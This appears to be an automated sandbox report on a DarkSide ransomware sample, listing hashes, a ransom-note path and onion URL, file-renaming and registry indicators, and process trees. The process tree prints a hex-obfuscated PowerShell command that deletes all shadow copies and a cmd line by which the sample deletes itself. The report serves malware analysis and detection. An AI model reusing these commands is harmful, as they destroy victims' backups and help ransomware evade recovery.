Analysis
-
max time kernel
143s -
max time network
148s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
14-05-2021 04:07
Static task
static1
Behavioral task
behavioral1
Sample
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Resource
win10v20210410
General
-
Target
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
-
Size
5.9MB
-
MD5
794c5aa1b0e1f9cf2fc7fe5f22117c3f
-
SHA1
1821fe210298b1d22b25f1a544abcfe092999ff7
-
SHA256
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e
-
SHA512
28c186359035e3f4bc5b4f0420c1e72de5e16fc3fa3b8d41316dd59739c552c810e180feff4637f25696f59b291b7cc00d66d969a4e7d2f460ec4471b1ad83cf
Malware Config
Extracted
C:\\README.7b336f65.TXT
darkside
http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT
Signatures
-
DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
-
Modifies extensions of user files 16 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exedescription ioc process File opened for modification C:\Users\Admin\Pictures\SearchInstall.tiff.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\DebugUpdate.png.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\MoveUnregister.png.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\SearchInstall.tiff 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\DebugUpdate.png => C:\Users\Admin\Pictures\DebugUpdate.png.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\MoveUnregister.png => C:\Users\Admin\Pictures\MoveUnregister.png.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\SearchInstall.tiff => C:\Users\Admin\Pictures\SearchInstall.tiff.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\MeasureWait.raw.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\PushRequest.png => C:\Users\Admin\Pictures\PushRequest.png.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\PushRequest.png.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\SkipConfirm.png => C:\Users\Admin\Pictures\SkipConfirm.png.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\BlockComplete.tiff 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\BlockComplete.tiff => C:\Users\Admin\Pictures\BlockComplete.tiff.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\MeasureWait.raw => C:\Users\Admin\Pictures\MeasureWait.raw.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\BlockComplete.tiff.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\SkipConfirm.png.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe -
Processes:
resource yara_rule behavioral2/memory/3680-130-0x0000000001180000-0x0000000001B28000-memory.dmp vmprotect -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\7b336f65.BMP" 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\7b336f65.BMP" 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies Control Panel 1 IoCs
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallpaperStyle = "10" 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe -
Modifies registry class 5 IoCs
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65\ = "7b336f65" 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\7b336f65.ico" 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exepowershell.exepid process 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe 3348 powershell.exe 3348 powershell.exe 3348 powershell.exe 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe -
Suspicious use of AdjustPrivilegeToken 25 IoCs
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeSecurityPrivilege 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeTakeOwnershipPrivilege 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeLoadDriverPrivilege 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeSystemProfilePrivilege 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeSystemtimePrivilege 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeProfSingleProcessPrivilege 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeIncBasePriorityPrivilege 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeCreatePagefilePrivilege 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeBackupPrivilege 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeRestorePrivilege 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeShutdownPrivilege 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeDebugPrivilege 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeSystemEnvironmentPrivilege 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeRemoteShutdownPrivilege 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeUndockPrivilege 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeManageVolumePrivilege 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: 33 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: 34 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: 35 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: 36 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeDebugPrivilege 3348 powershell.exe Token: SeBackupPrivilege 3828 vssvc.exe Token: SeRestorePrivilege 3828 vssvc.exe Token: SeAuditPrivilege 3828 vssvc.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exedescription pid process target process PID 3680 wrote to memory of 3348 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe powershell.exe PID 3680 wrote to memory of 3348 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe powershell.exe PID 3680 wrote to memory of 4548 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe cmd.exe PID 3680 wrote to memory of 4548 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe cmd.exe PID 3680 wrote to memory of 4548 3680 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe cmd.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe"C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\4098B5~1.EXE >> NUL2⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logMD5
ea6243fdb2bfcca2211884b0a21a0afc
SHA12eee5232ca6acc33c3e7de03900e890f4adf0f2f
SHA2565bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8
SHA512189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
bc04762934ccb50a482a3e98778ce47b
SHA1f0bfeb042f4b91e910bce4f5c50070adb05b331f
SHA25624986aa78c4f65fcc701e249a6caaba0849acea423c099233a6c6097d435ce8c
SHA512133acee0006a45e1ebd63d8ad97d27b6a45319f3df8ce63fd490c11eb336b4bb97c9a95eef793f63fdd7c7f4af7d8011a74389ef6a862e090e03f6d857ec9d8a
-
memory/3348-132-0x0000000000000000-mapping.dmp
-
memory/3348-156-0x0000016BC5916000-0x0000016BC5918000-memory.dmpFilesize
8KB
-
memory/3348-142-0x0000016BC5913000-0x0000016BC5915000-memory.dmpFilesize
8KB
-
memory/3348-141-0x0000016BC5910000-0x0000016BC5912000-memory.dmpFilesize
8KB
-
memory/3348-140-0x0000016BDE1D0000-0x0000016BDE1D1000-memory.dmpFilesize
4KB
-
memory/3348-137-0x0000016BDE120000-0x0000016BDE121000-memory.dmpFilesize
4KB
-
memory/3680-120-0x0000000000A00000-0x0000000000A01000-memory.dmpFilesize
4KB
-
memory/3680-122-0x0000000000A30000-0x0000000000A31000-memory.dmpFilesize
4KB
-
memory/3680-124-0x0000000000F00000-0x0000000000F01000-memory.dmpFilesize
4KB
-
memory/3680-125-0x0000000000F10000-0x0000000000F11000-memory.dmpFilesize
4KB
-
memory/3680-126-0x0000000000F20000-0x0000000000F21000-memory.dmpFilesize
4KB
-
memory/3680-127-0x0000000000F30000-0x0000000000F31000-memory.dmpFilesize
4KB
-
memory/3680-128-0x0000000000F40000-0x0000000000F41000-memory.dmpFilesize
4KB
-
memory/3680-129-0x0000000000F50000-0x0000000000F51000-memory.dmpFilesize
4KB
-
memory/3680-130-0x0000000001180000-0x0000000001B28000-memory.dmpFilesize
9.7MB
-
memory/3680-123-0x0000000000EF0000-0x0000000000EF1000-memory.dmpFilesize
4KB
-
memory/3680-121-0x0000000000A20000-0x0000000000A21000-memory.dmpFilesize
4KB
-
memory/3680-114-0x00000000009A0000-0x00000000009A1000-memory.dmpFilesize
4KB
-
memory/3680-119-0x00000000009F0000-0x00000000009F1000-memory.dmpFilesize
4KB
-
memory/3680-118-0x00000000009E0000-0x00000000009E1000-memory.dmpFilesize
4KB
-
memory/3680-117-0x00000000009D0000-0x00000000009D1000-memory.dmpFilesize
4KB
-
memory/3680-116-0x00000000009C0000-0x00000000009C1000-memory.dmpFilesize
4KB
-
memory/3680-115-0x00000000009B0000-0x00000000009B1000-memory.dmpFilesize
4KB
-
memory/4548-159-0x0000000000000000-mapping.dmp